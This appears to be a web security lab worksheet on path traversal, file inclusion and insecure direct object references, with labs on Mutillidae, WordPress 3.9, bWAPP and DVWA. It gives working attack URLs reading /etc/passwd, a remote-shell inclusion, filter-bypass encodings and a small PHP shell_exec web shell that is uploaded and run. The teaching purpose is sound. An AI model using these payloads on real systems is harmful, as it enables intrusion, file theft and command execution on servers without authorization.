WS4: Path traversal, file inclusion & Insecure direct object references

Path traversal & file inclusion

Path traversal is a type of vulnerability that allows an attacker to access files on a web server that they should not normally have access to by exploiting incorrect application path processing. The ability to access even read-only protected files (source code, application configuration information, etc.) can expose information (access credentials) that lead to complete compromise of the server.

File inclusion is a type of vulnerability that allows the execution of attacker-sourced code within a web application, usually by including other sources in the executed source to generate the current page based on client input. This type of vulnerability usually occurs and is exploited together with path traversal vulnerabilities. Depending on what kind of files can be run, there are two distinct categories: **local file inclusion** (LFI), where the file is present locally on the server, and **remote file inclusion** (RFI), where sources from URLs external to the application can be executed.

Example

The most common way to test if a site is vulnerable to **path traversal** is to try to access the parent directory of an exposed directory (entering the path segment "/../") of an exposed file (in the URL or via a text field), for example:

```
http://[IP]/mutillidae/index.php?page=../../../../../../../../etc/passwd
```

If the web application has read permissions for the accessed file, its contents will be displayed in the web page. An example of an RFI, in which a source from an external server can be executed, would look like this:

```
http://example.com/index.php?file=http://www.owasp.org/malicioustxt
```

A popular exploit of this type exists in the Simple Text-File Login script version 1.0.6, as:

```
http://[slogin-path]/slogin_lib.inc.php?slogin_path=[remote_txt_shell]
```

If protocols other than HTTP are supported, we can for example check which operating system the web server is running:

```
http://192.168.56.104/mutillidae/index.php?page=file:///etc/passwd
```

If we get the contents of the file in the web page, then the system is a Linux distribution. We can also analyze various local or remote services (exploiting the vulnerability as a proxy):

```
http://[IP]/mutillidae/index.php?page=http://localhost:8080
http://[IP]/mutillidae/index.php?page=http://[remote IP]:[port]/
```

To bypass URL filtering or to determine to treat a script as text (not to be executed) one can exploit the fact that some processing layers work with C strings, while web servers generally do not, by entering NULL characters in the URL, e.g:

```
http://www.yourserver.com/scripts/database.cgi?page=../scripts/database.cgi
%00txt
```

Also keep in mind that operating systems use different path separators (/ on Linux, \ on Windows).

If the sequence "../../../../" is filtered out, we can try alternative URL encodings:

```
%2e%2e%2f <=> ../
%2e%2e/ <=> ../
..%2f <=> ../
%2e%2e%5c <=> ..\
%252e%252e%255c <=> ..\
```

On systems that support long UTF-8 sequences we can use:

```
..%c0%af <=> ../
..%c1%9c <=> ..\
```

Insecure Direct Object References

Insecure Direct Object References are those accesses to resources that depend directly on user input, but do not validate the authorization in a granular way. This vulnerability allows attackers to bypass the authentication step and access resources by modifying the value of a parameter used to directly obtain that object. Such resources can for example be files or database records belonging to another user.

Example

1. The value of a parameter is used as an index to retrieve information from a database table:

```
http://foo.bar/somepage?invoice=12345
```

2. The value of a parameter is used to perform operations in the system:

```
http://foo.bar/changepassword?user=someuser
```

3. The value of a parameter is used to get a file system resource:

```
http://foo.bar/showImage?img=img00011
```

4. The value of a parameter is used to access the functionality of an application:

```
http://foo.bar/accessPage?menuitem=12
```

The value of the menuitem parameter is used to tell the application which input (and thus which application functionality) the user wants to access. If the user is restricted to only *menuitem* 1, 2 and 3, by changing the value of the *menuitem* parameter, the user can access a particular application functionality without having the required permissions.

Laboratory

Path traversal

Exploit: display files from a user specified directory

- vulnerable application: Wordpress 3.9
- exploit goal: display files from a user-specified directory
- exploit type: path traversal

Exploit steps:

1. Login to the wordpress menu with user "io" and password "io"
2. Go to the "Plugins" menu -> select a plugin -> click delete
3. We edit the URL: replace the plugin name with *../../../../directory_name*:

```
http://[IP]/wordpress1/wp-admin/plugins.php?action=delete-selected&checked[0]=../../../../../../../../../../../.
```

4. Click "Click to view entire list of files which will be deleted" => we see all files in the /etc directory.

Insecure direct object references

Exploit: upload a file to execute commands on the web server

- vulnerable application: vulnerable application: Mutillidae II ("Mutillidae II" / "OWASP 2013" / "A4-Insecure Direct Object References" / "Source Viewer")
- exploit type: IDOR
- exploit goal: upload a file to execute commands on the web server

Exploit steps:

We use the "insecure direct object references" vulnerability in combination with the "upload file vulnerability" and the "path traversal vulnerability".

Upload file vulnerability: the site does not restrict the type of files that can be uploaded. Thus, .php files can be uploaded and executed on the server. Access:

```
http://ip_web_server/mutillidae/index.php?page=upload-file.php
```

create a my_exploit.php file that executes a command:

```
<?php
$output = shell_exec('ls -lart');
echo "<pre>$output</pre>";
?>
```

Upload this file to the website. From the message displayed, we learn that the file was stored on the server in the /tmp directory.

Path traversal:

```
http://ip_web_server/mutillidae/index.php?page=../../../../../../../../../tmp/
my_exploit.php
```

The script will be executed. With path traversal we can see what other files the /tmp.

Insecure direct object references: we can access any file by typing the filename in the URL:

```
http://ip_web_server/mutillidae/index.php?page=somefile.php
```

Assignment

1. Using the "OWASP bWAPP" application "Directory Traversal - Files" section, display the contents of the MySQL configuration file (my.cnf).
2. Using the "OWASP bWAPP" application "Directory Traversal - Directories" section, display files in the home directory of the user who has a home directory.
3. By using the "OWASP bWapp" "Insecure DOR (Order Tickets)" section, you can change the price of a ticket so that the total price displayed is based on the price you have written.
4. By exploiting the "OWASP bWapp" section "Insecure DOR (Reset Secret)" and "OWASP bWapp" / "Insecure DOR (Change Secret)" you change the name of the user making the request.
5. By exploiting the "Damn Vulnerable Web " "File Inclusion" section, display the contents of the files: **/etc/passwd**, **/etc/hosts**, **/etc/locale.alias**, **/etc/networks**, **/etc/group**.
6. Exploit the "Damn Vulnerable Web App" application's "File Inclusion" section so that you can remotely execute commands on the attacked computer.

References

- Insecure direct object references:
    - Testing for Insecure Direct Object References
    - Insecure direct object references (IDOR)
- Path traversal
    - Path Traversal
    - Directory traversal attack
    - Directory Traversal Attack: Path traversal explained